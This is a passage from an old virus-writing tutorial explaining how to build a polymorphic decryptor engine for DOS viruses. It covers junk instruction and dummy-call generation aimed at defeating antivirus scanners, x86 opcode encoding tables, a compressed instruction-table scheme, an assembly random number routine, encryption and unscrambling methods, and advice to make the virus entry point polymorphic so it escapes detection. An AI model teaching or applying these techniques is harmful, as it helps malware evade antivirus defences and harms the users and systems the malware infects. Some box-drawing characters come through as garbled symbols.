good poly decryptor. But we don't wanna stop here ! Before jumping to generating instruction we should take a peek to...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³ Creating junk instructions ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThe way to do this is: In our code we have 16 sets of intructions we have to put garbage after and we also should put garbage before the first instruction. Studying the code I came up with this situation: Bewteen ³ Nr. of junk instruction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 0 Ä 1 ³ 15 to 20 1 Ä 2 ³ 10 to 15 2 Ä 3 ³ 0 3 Ä 4 ³ 10 to 15 4 Ä 5 ³ 10 to 15 5 Ä 6 ³ 5 to 10 6 Ä 7 ³ 10 to 15 7 Ä 8 ³ 15 to 20 8 Ä 9 ³ 5 to 10 9 Ä 10 ³ 5 to 10 10 Ä 11 ³ 10 to 15 11 Ä 12 ³ 10 to 15 12 Ä 13 ³ 10 to 15 13 Ä 14 ³ 10 to 15 14 Ä 15 ³ 10 to 15 15 Ä 16 ³ 10 to 15 16 Ä end ³ 15 to 20 (+ the rest) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is just my ideea, you can come up with something else. So let's see which is the maximum amount of junk instructions we can have. It's 15*10 + 10*3 + 20*3 = 150 + 30 + 60 = 240 junk instructions. If we consider the longest junk instruction as being 4 bytes long, then we'll have a maximum junk code of 4*240 = 960 bytes. This would make our decryptor 960 + 104 = 1064 bytes long. The more junks you want to put in the biggest the code will get. How do we pick them ? Very simple. First we get a random number between the limits. Then we make a loop to generate that amount of junk instructions. For each we take a random between 1-4 which gives us the length of the instruction. Then we take randomly one of that instruction type (looking carefully to do not repeat the same instruction one after another - which is kinda impossible). After we did this for all the code, because of the fact that we use random numbers, it is virtualy imposible to get the maximum of junks for each interval. Therefore at the end we will have 960 total junks from which we only created a X nr. of junks. All we have to do then is create an amount Y = 960-X and put them after the last instruction. This is what I meant when I said (+the rest). Now, one important thing. As you will see further, the 2, 3 and 4 bytes long instructions are much more soffisticated and make much mess. That's why I suggest you to make a probability of 10% for 1 byte instructions, 20% for two bytes instruction, 30% for 3 and 40% for 4 bytes instructions. I thought of this taking into account that within the code you already inserted a lot of 1 byte junks. You can also create 4 byte garbage, by overriding the three byte ones (you'll see how). Let's check a little the types of junk we can use. I said that we can

have a maximum 3 byte length instruction. I said so, because it's kinda hard to generate 4 or 5 bytes instructions and still keep the code small. [a] 1 byte instructions ^^^^^^^^^^^^^^^^^^^ CLI ¿ STI ³ CLD ³ STD Ã affect CLC ³ flags STC ³ CMC ³ SAHF -

DEC AX DEC AH INC AX INC AH LAHF

¿ ³ Ã affect AX ³ -

About creating 2, 3 and 4 byte instructions it goes like this (but this is not a rule, you'll have to read further): * the 2 byte ones are the register to register instructions * the 3 byte ones are usualy imm8 to register * the 4 byte ones are usualy imm16 to register and mem operations Remember we have two junk registers: AX and one pointer register (DI or SI). In the cases presented above (which you'll see further why are they two bytes long), the 'reg' can be either AX or the jprg. And we also have AX divided into AH and AL. We can perform any opperation over AH and AL, the second register being any of the other 8 bit registers. This is a rule:junk registers are used for junk instruction, but we have exceptions from that. Here are cases when you can use them with any register: * * * * * if cl/imm = 0 you can ROR/ROL/SHR/SHL any register if imm = 0 you can ADD/SUB/AND/OR/XOR any register if reg1=reg2 you can XOR any register you can perform TEST/CMP on any register you can XCHG any register with itself

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Creating calls to dummy routines ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThe creation of dummy routines and jumps is a very interesting feature and is very good at messing up the AV's. What we should basically look at are these: CALL xxxx JMP xxxx J___ xxxx (conditional jumps) RET First, when we are about to create junk code we decide if: A) we'll use CALL's B) we'll use JMP's C) we'll use both From the beginning I'll tell you that using only calls is bad. Why ? Simple... Our code goes line by line, right ? Imagine this situation: Call _label ... ... Type 1 Dummy Call

(*)

_label: ... ... Ret When Ret is reached, the IP returns at the (*), but after a while the Ret is reached again and here goes chaos. Or let's look at this: (*) _label: ... ... Ret ... ... Call _label Type 2 Dummy Call

This is also bad, because as the code is executed, it goes from (*) and reaches the Ret... Again chaos. We cannot skip the Ret's (even if we replace them with some POP's, because the code still we'll come over the CALL again. Only in the first case we can POP the CS:IP and get it over with, but it's dangerous. AV's may notice that a CALL was made and there wasn't any RET for it...) How can we solve this ? First method: Use only JMPS. The creation of a jump is really easy. All you do is put the opcode of an absolutely random kind of jump and then a zero word and remember the place of that word. You must see that the jmp is not in the last part of the junk code ! Then, create the rest of the junk, by recording the length in bytes of the junk after the JMP. This is done easily. As soon as one instruction is generated, add it's length to a register. After you're done with three, four, five or even more instructions, just go back to the place where you wrote the 0 and write the length recorded. This length is equal to the offset of the jump destination minus jump offset minus 2 (in the case of 8bit displacement). Let's take an example: 0100 0102 0104 0107 0108 EB06 A800 2D2310 FB 83E701 Jae 0108 Test al, 00 Sub ax, 1023h Sti And di, 1

So we have 'A8 00 2D 23 10 FB' - 6 Bytes -> other junk 'EB 06' - 2 Bytes -> JMP code 06 = 108 - 100 - 2 It is very important to compute very corectly the jump destination. You cannot make it random ! Imagine you wrote JAE 105 instead of JAE 108. The code would go directly to '23 10' (e.g. add dx, [bx+si]), messing all up. What I described above is a jump 'downwards' the code. In order to make a jump 'upwards' the code, take this example: 0100 0102 0106 0109 A800 81EB0001 B81000 EBF5 Test al, 0 Sub bx, 100 Mov ax, 10 Jmp 100

In order to generate this call we have the following fomula: Jump length = jump address - destination address + 2.

In our example: 109 - 100 + 2 = 11 Then we simply negate this number: 11 = 0Bh -11 = F5h (which is exactly what apperes in the opcode: EBF5) Use all kinds of jumps, especially conditional ones, because as this is junk code, it doesn't really matter if the jump is done or not. You really need to use the JMP instruction if you decide to take the other way: Using Calls and Jmps. I showed you how a Call cannot be created into a code that goes normaly because it will hang. Here comes the JMP to help us. So, your random routine decided that you will use CALL+JMP. Then your random routine must decide which kind of CALL it will make (as in the examples above). Let's analyse the two examples and see how the JMP solves the problem: Call _label ... Jmp _label2 ... _label: ... Ret ... _label2: (*) --------------------------(*) ... Jmp _label2 _label: ... Ret ... _label2: ... Call _label Type 2 Dummy Call & Jmp Type 1 Dummy Call & Jmp

So, what the JMP actually does is avoid the second passing across the Ret instruction. In the first case: * Write CALL 0000 * Write JMP 0000 * Compute _label and change the CALL accordingly * Write the Ret * Compute the _label2 and change the JMP accordingly In the second case: * Write Jmp 0000 * Write the Ret * Compute _label2 and change the JMP * Write Call _label (you know _label already) Of course, between these instructions you can let your imagination run free. I would suggest to put in the '...' place a random number of instructions which would vary from 1 to 5.

Now, a really wonderful thing is to 'remember' such a CALL you created during the junk code generation and 'come back' to it. That is, you create a type 2 call and you keep the _label stored somewhere. Then, when you want to create another dummy call you just create the CALL instruction and put the _label as the address. This saves time in creating junk routines. Here is an ideea about how it would look: ... Jmp _label2 _label: ... Ret ... _label2: ... Call _label ... ... Call _label This is easily done and creates a better image of a structured program. Of course, in the '...' place you'll have both junk instructions as well as parts of the real decryptor.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Creating dummy interupt calls ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄHere is a list of interrupts you can insert into your code and how they would afect registers (in brankets): * INT 21h, with the following AH contents: 0Bh 0Dh 19h 4Dh get input status (AL) flush buffers (none) get current disk (AX) get terminate status (AX)

* INT 10h, with the following AH contents: - 08h - read char from cursor (AX) - 0Dh - read pixel from screen (AL) So, all you have to do is generate a Mov ah, xx and then an INT. Very simple and very effective (most scanners die under these). But beware, many people are tempted to use dummy calls like INT03 or INT01. Don't do this. This is flaged by most AV's. This goes into the Armouring section, which we'll discuss later.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Getting random registers ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄWe'll talk later about the random number routine. But first let's see how we store the order of our registers. We have the following notations: reg field - a code that keeps the register to be used sreg field - a code that keeps the segment register r/m field - how is the instruction made (based, indexed, etc.)

mod field - who makes the indexing (i.e. DI, BP, etc.) dir field - the direction w field - word mark reg field: ~~~~~~~~~~ AX or AL CX or CL DX or DL BX or BL SP or AH BP or CH SI or DH DI or BH -

000 001 010 011 100 101 110 111

= = = = = = = =

0 1 2 3 4 5 6 7

When coding an instruction where word or byte registers could be involved, they way too see which is the case is the 'w' bit. If it's 1 then we are talking word registers. If it's 0 we use byte registers. sreg field ~~~~~~~~~~ ES - 001 = CS - 011 = SS - 101 = DS - 111 =

1 3 5 7

r/m field ~~~~~~~~~ 00 - based or indexed 01 - based or indexed with a 8-bit displacement 10 - based or indexed with a 16-bit displacement 11 - two register expresion mod field (if r/m is based or indexed) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 000 - [BX+SI] 001 - [BX+DI] 010 - [BP+SI] 011 - [BP+DI] 100 - [SI] 101 - [DI] 110 - IF R/M = 00 A DIRECT MEMORY OFFSET OTHERWISE [BP] 111 - [BX] segment overrides ~~~~~~~~~~~~~~~~~ ES - 00100110 - 26h CS - 00101110 - 2Eh SS - 00110110 - 36h DS - 00111110 - 3Eh Direction ~~~~~~~~~ If set, reg is the destination and mod is the source, otherwise it's the other way around. In order to choose a random order of the registers we must have this: reg_table: db db db db db 11011000 11100100 01111000 01101100 10011100 ;bx ;bx ;cx ;cx ;dx cx dx bx dx cx dx cx dx bx bx

db

10110100

;dx bx cx

Just pick randomly one of the combinations and you'll have the registers to use: lreg, creg, kreg. So in a very simple way, we got our registers to use. And remember that AX is the junk register. In the same way, you can pick the pointer register leaving the other one as junk pointer register. Now let's see an example of how to generate a mov. If you disassemble a program that contains this line: MOV BX, [SI+0134h] You'll get this OpCode: 8B 9C 34 01, or: 10001011100111000011010000000001, which means: 100010 | 1 | 1 | 10 | 011 | 100 | 0011010000000001 | mov d w r/m reg mod data lets see: d (direction) = w = r/m = reg (register)= mod = data = 1, so from 'mod' to 'reg' 1 (the word bit) 10 (based with 16-bit displacement) 011 (BX) 100 ([SI]) 0134h (the 16 bit displ. added to SI)

So, in order to create a 'blank' Mov reg, [si+imm] you should have: 100010 1 1 10 000 100 0000000000000000, or

10001011 10000100 0000000000000000 ³³³ ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÄÄ-> here you put your data ³³³ ³³ÀÄÄÄÄ-\ ³ÀÄÄÄÄÄÄ-> here you put your register ÀÄÄÄÄÄÄÄ/ So what do you think this would be: 10001001100011011000000000000000 ? It would be MOV [DI+1000h], CX because: d r/m mod reg = = = = 1 10 101 001

Now let's take all the instructions and look at each and everyone and see how are they encoded. One more thing: I stated at the beginning that I'll consider the AX the junk register because some instructions are optimized for it. As you'll se below, being given a skeleton for an instruction you can make it use any register. You can also make it use the AX, even if a compiler wouldn't generate something like that. Hope you get this... For the first instruction (MOV) I will indicate how you can calculate the length of the instruction in bytes. For the rest figure it out, it's easy ! a) The MOV instruction ~~~~~~~~~~~~~~~~~~~~~~

1) mov reg, imm 1011, w, reg, imm - if w = 0 imm is 8 bit -> 2 byte instr. - if w = 1 imm is 16 bit -> 3 byte instr. 2) mov reg, reg mov reg, mem mov mem, reg 100010, d, w, r/m, reg, mod, - if r/m = - if r/m = - if r/m = 3) mov sreg, reg mov reg, sreg 100011, d, 0, 1, sreg, reg, 1 - 2 byte instruction b) The XCHG instruction ~~~~~~~~~~~~~~~~~~~~~~~ xchg reg, reg xchg reg, mem xchg mem, reg 100001, w, r/m, reg, mod, data c) The stack operations ~~~~~~~~~~~~~~~~~~~~~~~ PUSH reg - 01010, reg POP reg - 01011, reg PUSH sreg - 000, sreg, 10 POP sreg - 000, sreg, 11 PUSH imm - 01101000, data PUSH mem - 11111111, r/m, 110, mod, data POP mem - 1000111, r/m, 0000, mod, data PUSHA - 01100000 POPA - 01100001 PUSHF - 10011100 POPF - 10011101 d) The logical instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) XOR ~~~~~~ 1.1) XOR reg, reg 001100, d, w, 11, reg1, reg2 with the mention that d = 1 only if reg1 = reg2 1.2) XOR reg, imm 100000, w, r, 11110, reg, data with the mention that if r = 0 register is 8 bit otherwise register is 16 bit 1.3) XOR reg, mem XOR mem, reg data 00 -> 2 byte instr. 01 data is 8 bit -> 3 byte instr. 10 data is 16 bit -> 4 byte instr.

00110, d, w, r/m, reg, mod, data 2) OR ~~~~~ 1.1) OR reg, reg 0000100, d, w, 11, reg1, reg2 1.2) OR reg, imm 100000, w, r, 11001, reg 1.3) OR reg, mem OR mem, reg 000010, d, w, r/m, reg, mod, data 3) AND ~~~~~~ 1.1) AND reg, reg 001000, d, w, 11, reg1, reg2 1.2) AND reg, imm 100000, w, r, 11000, reg 1.3) AND reg, mem AND mem, reg 001000, d, w, r/m, reg, mod, data 4) NOT ~~~~~~ 1.1) NOT reg 1111011111010, reg 1.2) NOT mem 1111011, w, r/m, 010, mod 5) NEG ~~~~~~ 1.1) NEG reg 1111011111011, reg 1.2) NEG mem 1111011, w, r/m, 011, mod 6) TEST ~~~~~~~ 1.1) TEST reg, reg 1000010, w, 11, reg1, reg2 1.2) TEST reg, imm 1111011, w, 11010, reg, data

6) CMP ~~~~~~ 1.1) CMP reg, reg 0011101, d, w, 11, reg1, reg2 1.2) CMP reg, imm 100000, w, r, 11111, reg 1.3) CMP reg, mem CMP mem, reg 001110, d, w, r/m, reg, mod, data

e) The Arithmetic instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) ADD ~~~~~~ 1.1) ADD reg, reg 0000001, w, 11, reg, reg 1.2) ADD reg, imm 100000, w, r, 11000, reg 1.3) ADD reg, mem ADD mem, reg 000000, d, w, r/m, reg, mod 2) ADC ~~~~~~ 1.1) ADC reg, reg 0001001, w, 11, reg, reg 1.2) ADC reg, imm 100000, w, r, 11010, reg 1.3) ADC reg, mem ADC mem, reg 000100, d, w, r/m, reg, mod 3) SUB ~~~~~~ 1.1) SUB reg, reg 0010101, w, 11, reg, reg 1.2) SUB reg, imm 100000, w, r, 11101, reg 1.3) SUB reg, mem SUB mem, reg 001010, d, w, r/m, reg, mod

4) SBB ~~~~~~ 1.1) SBB reg, reg 0001101, w, 11, reg, reg 1.2) SBB reg, imm 100000, w, r, 11011, reg 1.3) SUB reg, mem SUB mem, reg 000110, d, w, r/m, reg, mod 3) INC ~~~~~~ 01000, reg16 1111111111000, reg8

4) DEC ~~~~~~ 01001, reg16 1111111011001, reg8 f) Shifting instructions ~~~~~~~~~~~~~~~~~~~~~~~~ 1) SHR ~~~~~~ 1.1) SHR reg, 1 1101000, w, 11101, reg 1.2) SHR reg, imm 1100000, w, 11101, reg 1.3) SHR reg, cl 1101001, w, 11101, reg 2) SHL ~~~~~~ 1.1) SHL reg, 1 1101000, w, 11100, reg 1.2) SHL reg, imm 1100000, w, 11100, reg 1.3) SHL reg, cl 1101001, w, 11100, reg 3) ROR ~~~~~~ 1.1) ROR reg, 1 1101000, w, 11001, reg 1.2) ROR reg, imm

1100000, w, 11001, reg 1.3) ROR reg, cl 1101001, w, 11001, reg 4) ROL ~~~~~~ 1.1) ROL reg, 1 1101000, w, 11000, reg 1.2) ROL reg, imm 1100000, w, 11000, reg 1.3) ROL reg, cl 1101001, w, 11000, reg 5) RCL ~~~~~~ 1.1) RCL reg, 1 1101000, w, 11010, reg 1.2) RCL reg, imm 1100000, w, 11010, reg 1.3) RCL reg, cl 1101001, w, 11010, reg 6) RCR ~~~~~~ 1.1) RCR reg, 1 1101000, w, 11011, reg 1.2) RCR reg, imm 1100000, w, 11011, reg 1.3) RCR reg, cl 1101001, w, 11011, reg

g) Flag instructions ~~~~~~~~~~~~~~~~~~~~ CLI - 11111010 STI - 11111011 CLD - 11111100 STD - 11111101 CLC - 11111000 STC - 11111001 CMC - 11110101 SAHF - 10011110 LAHF - 10011111 h) Jump instructions

~~~~~~~~~~~~~~~~~~~~ 1) JMP SHORT - EBh, data8 2) JMP NEAR 3) JMP FAR - E9h, data16 - EAh, data

data is a segment:offset data in inverse format. Example: jmp far 1000:432fh = EAh, 2f43h, 0010h Now, the conditional jumps (note that data8 is a 8 bit signed number; if it's from -127 to -1 the jump is upward otherwise the jump is downward. The jump is counted from the *END* of the jump instruction. This means that a JE 00 is a jump to the next instruction below. A JE 02 is a jump past the two bytes *AFTER* the jump's OpCodes) 4) 5) 6) 7) 8) 9) 10) 11) 12) 13) 14) 15) 16) 17) 18) 19) 20) JBE/JNA JLE/JNG JB/JNAE/JC JL/JNGE JZ/JE JNE/JNZ JAE/JNB/JNC JGE/JNL JA/JNBE JG/JNLE JCXZ JNO JO JP/JPE JNP/JPO JNS JS 76h, 7Eh, 72h, 7Ch, 74h, 75h, 73h, 7Dh, 77h, 7Fh, E3h, 71h, 70h, 7Ah, 7Bh, 79h, 78h, data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8 data8

21) LOOP - E2h, data8 22) CALL SHORT - E8h, data8 23) RETN - C3h 24) RETF - CBh 35) IRET - CFh 36) INT - CD, data8 i) Other misc. instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) lea reg, mem 10011, d, w, r/m, reg, mod, data For example LEA DI, [BP+1000h] would be: 10011, Opcode 0, 1, 10, 111, 110, 0010 d w r/m reg mod data

After all these have been said, you are now able to create skeletons for each instruction and then fill it with the proper registers and mod's and everything. Let's say the following: kreg = CX = 00000001

creg = BX = 00000011 and we want to create: (1) (2) XOR CX, BX MOV [DI], CX

For (1) we have the skeleton: 001100, d, w, 11, reg1, reg2 which we encode like: 00110000 11000000, and then we start to fill it: 00110000 or 00000011 -------00110011 11000000 or 00001011 -------11001011 and we have 0011001111001011 = 33CBh

For (2) we have the skeleton: 100010, d, w, r/m, reg, mod, data which we encode like: 10001000 00000000, and then start to fill: 10001000 or 00000001 -------10001001 So, we have: 33 CB xor cx, bx 89 0D mov [di], cx And a final word about all this stuff of coding here. I'm talking about segment overrides. Sometimes you may want to override the memory address with another register. This is done by inserting *before* the entire Opcode the segment override. For example if you want to turn MOV [DI], CX into MOV ES:[DI], CX the opcode will turn from 890Dh to 26890Dh. You may put how many overrides you want, but only the last one will take effect. You can use this to turn 2 byte junk instructions into three byte junk instructions, and so on. 00000000 or 00001101 -------00001101 = 1000100100001101 = 890Dh

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ The Steps ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄOk, now that we know most of the things about how a polymorphic decryptor should look like, let's get deeper. 1) How to store so much information ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The answer is: Compress and Code everything. I already started this, by giving a number to each of our instructions in the main decryptor. We already created a matrix that will hold the order our instructions will be generated. We *know* which is the length of each instruction. We define it in an array. Then we need to start coding. There are not so many instructions given in all the methods we computed up there. All we have to do is give a number to each of them as soon as we meet one. Like, for example:

[1]

mov lreg, length a) push imm pop reg b) mov ax, imm mov reg, ax c) xor reg, reg xor reg, imm d) mov reg, 0 add reg, imm e) mov reg, imm 01h 02h 03h 04h 05h 06h 03h 07h 03h

So we can code the entire [1] instruction with all it's variants like this: 01 FF 05 FF 01 02 FD FD FF 03 04 FD FF 05 06 FD FF 03 07 FF 03 FD FD FD FD FE where: * * * * * the first 01 is the instruction number the first 05 gives the number of variants FF is a mark between variants FE is the mark of end of all FD marks a junk instruction

As I said, you may insert the junks between the real code randomly. This means you can permute the FD's between the FF's and get another code that does the same thing. So, the entire poly-main-decryptor will look like this: decryptor_table: db 01h, FFh, 05h, ... db 02h, FFh, ... ... db 15h, FFh, ... This cleared up how you store the instructions. You create them steb by step. Let's say you picked combination nr. 3 of the first instruction. You generate it. Then you generate random junk. Then you go onto the next instruction, and so on... Of course, before going into this you must compute the random key, keyi, startcode and length and associate for each a random number to junk them around like: if length = 1000h get a random, let's say 1234h and store it like: length = 1000h xor 1234h = 234h When you want to use the real length, just XOR again. But still, how do you code and get all that big amount of instructions with different sizes and everything ? Again: compress and code. Here is an idea: instruction_table: aa bb c d e iiiiiiiiiiiiiiiiiiiiii ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>

= instruction skeleton 1 = can be used as junk 1 = but only with jreg 1 = can use other regs if imm=0 = instruction length in bytes = instruction number

The bb can be for example a three bit nr. and hold something like this:

000 001 010 100

-

instr. instr. instr. instr.

is is is is

always 2 bytes long 2 bytes long if r/m = 00 3 bytes long if w = 0 4 bytes long if w = 1

or something like this. Here each one of you must use your imagination with only one purpose: Optimization ! The stored data must be as compressed as possible and as easy to access as possible. You should have a place with, let's say, 12 bytes, filed with 0, where you should transfer the instruction you want to create and OR it with the proper values there and then transfer it. This offers speed because you always know the source of instruction. Actually, let's look directly into the code of M.O.F. and see how it stores it's data: db 2, 01101000b, 00000000b db 1, 01011000b <snip here> db 2, 75h, 0h db 1, C3h ;27 ;28 JNE RET ;01 ;02 PUSH imm POP reg

As you can see, the instructions are stored without any r/m, mod, or reg field filled. In order to fill up the instructions we have a so called 'filling table' which looks like this: n ? d r/m mod data16 reg1 reg2 n ! ? x xx xxx xxxxxxxxxxxxxxxx AA BB ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Register codification: 0000 0001 0010 0011 0100 0101 0111 1000 1111 lreg creg kreg jreg preg jrpg sreg dreg none 001 010 011 100 101 111 a a a a a a register/register instr. register/immediate instr. register/mem instr. one register instr. immediate only instr. memory only instr.

second register first register data16 (0 if not necessary) (twice) mod for r/m <> 11 r/m for this instr the direction instruction type segment override instruction number

? values: -

! values: -

00 01 10 11

-

none sreg dreg instruction is special and nothing furthure should be considered

if mod = 111 then it's actualy - 100 if preg = SI or - 101 if preg = DI. So, let's take the first instruction in our code: [1] mov lreg, length: = = no segment override a register to immediate instr. type normal direction based no index length xor rndm rndm first register used is lreg no second register

!=00 ?=010 d=0 r/m=00 mod=000 data16_1 data16_2 reg1=0000 reg2=1111

In the first combination for the first instruction we have: push imm pop reg xor reg,rndm 01 02 03

As you can see there are 2 immediate values used. M.O.F handles this in this way (downwards). The first push is done with the first data16. The pop reg is done with the lreg and because data16_2 is not 0, the xor is done with the second data16. If data16_2 were 0 then only the first data was used. Hope you get it.

2) How do I get the randoms ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I promised I'll get back to this. Here bellow is a routine that gives you a random number between 0 and n-1. All you have to do is: mov cx, n Call random and the routine returns the random in AX. If you want a random between 0 - FFFFh just do mov cx, 0. But first of all, in order to have a really random number you should initialize the random number generator by doing a CALL RANDOMIZE. Warning: The routine assumes you have your Delta handler set, otherwise make BP = 0 !! Random nr. generator -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=rand_seed Dw 0 RANDOMIZE: ;procedure to start the Push AX CX DX ;random generator Xor AH,AH ;get timer count Int 1Ah Mov CS:[BP + rand_seed],DX ;and save it Xchg CH,CL Add CS:[BP + rand_seed_2],CX

Pop DX CX AX Ret ;-------------------------------------------------------------------------RANDOM: ; the random number generator In AL,40h ; timer, for random nr Sub AX,CS:[BP + rand_seed] Db 35h ; XOR AX, rand_seed_2 Dw 0 ; what is here Inc AX Add CS:[BP + rand_seed],AX ; change seed cmp cx, 0 je _out Call Modulo _out: Ret ;-------------------------------------------------------------------------MODULO: ; the modulo procedure ax = ax mod cx Push DX Xor DX, DX Div CX Xchg AX, DX Pop DX Ret -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

3) What parameters my routine must receive and what should it return ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I suggest that the virus should move itself the code to an empty buffer, passing to the routine a pointer to that location and a length of code to be encrypted. The pointer must be at the beginning of the code to be encrypted not the beginning of all code !! So the routine should receive something like: DS:SI - pointer to code to be encrypted CX - length of code. Warning: The buffer at DS:SI must be big enough to hold the CX bytes of code *and* the decryptor. After the engine generated the decryptor it should return the length of the encrypted code + the length of the decryptor.

4) Is this all ?!? Is my code completely mutant ?!? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nope... Remember the entry point of the virus ? That place where you get the Delta Handler and then Call the decryptor ? Well, that area should be done in two ways: a) made polimorphic as well b) made very small so it doesn't flag AV's Otherwise, you've done nothing... Your decryptor is perfect, but the virus is cought by the first bytes... Handle with it... It's not hard.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ The unscrambling procedure ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOk, so you wonder what is that 'CALL unscramble' I put there in the decryptor. I could as well say <unscrambling operation>. There actually

the code held by the 'creg' register is modified using a math operation involving the second member, the key holder, e.g. the 'kreg' register. In old routines the encryption was made using these ways: Encrypt ³ Decrypt ÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ XOR ³ XOR ROR ³ ROL ADD ³ SUB AND ³ OR (here with some playing around) ÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄ But more advanced procedures use many ways. For example, my own poly routine (LJ_MOF - Multiple Opcode Fantasy) uses a very trivial way to encrypt the code. It uses 4 methods and in each case the methods are put in a random order. Then the words are encrypted each with another method, in the given order. After each iteration the order shifts and the key is increased. Therefore, we cannot decrypt the code by a simple math operation. If your virus is a small one you may consider a DIV/MUL procedure, but this is very slow. But if your virus is small you may consider an AND/OR scrambling procedure. This is done like this: c = code to be encrypted k = encryption key k' = NOT k E1 = c AND k E2 = c AND k' In your code you store E1 and E2 (there by obtaining an encrypted length = original length * 2). To restore the code simply do: c = E1 or E2. Check it: 1000 and 2222 = 168 NOT 2222 = -2223 1000 and -2223 = 832 ---------------------168 or 832 = 1000 So, the thing is you should have a separate unscrambling procedure. Therefore, here is how I see the polymorphic decryptor that a good engine should create: EM ÚÄÄÄÄÄÄÄÄÄÄ Host ESCÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ EM ³ Entry ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ Delta getter ³ ³ ³ ³ ³ ÚÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´<Ä¿ ³ ³ ³ ³ ³ ³ ³ ³ virus body ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ (poly engine) ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄijÄ- Ä¿ ³ ³ ³ ³ ³ ³ ³ unscrambling routine ³ ³ ³

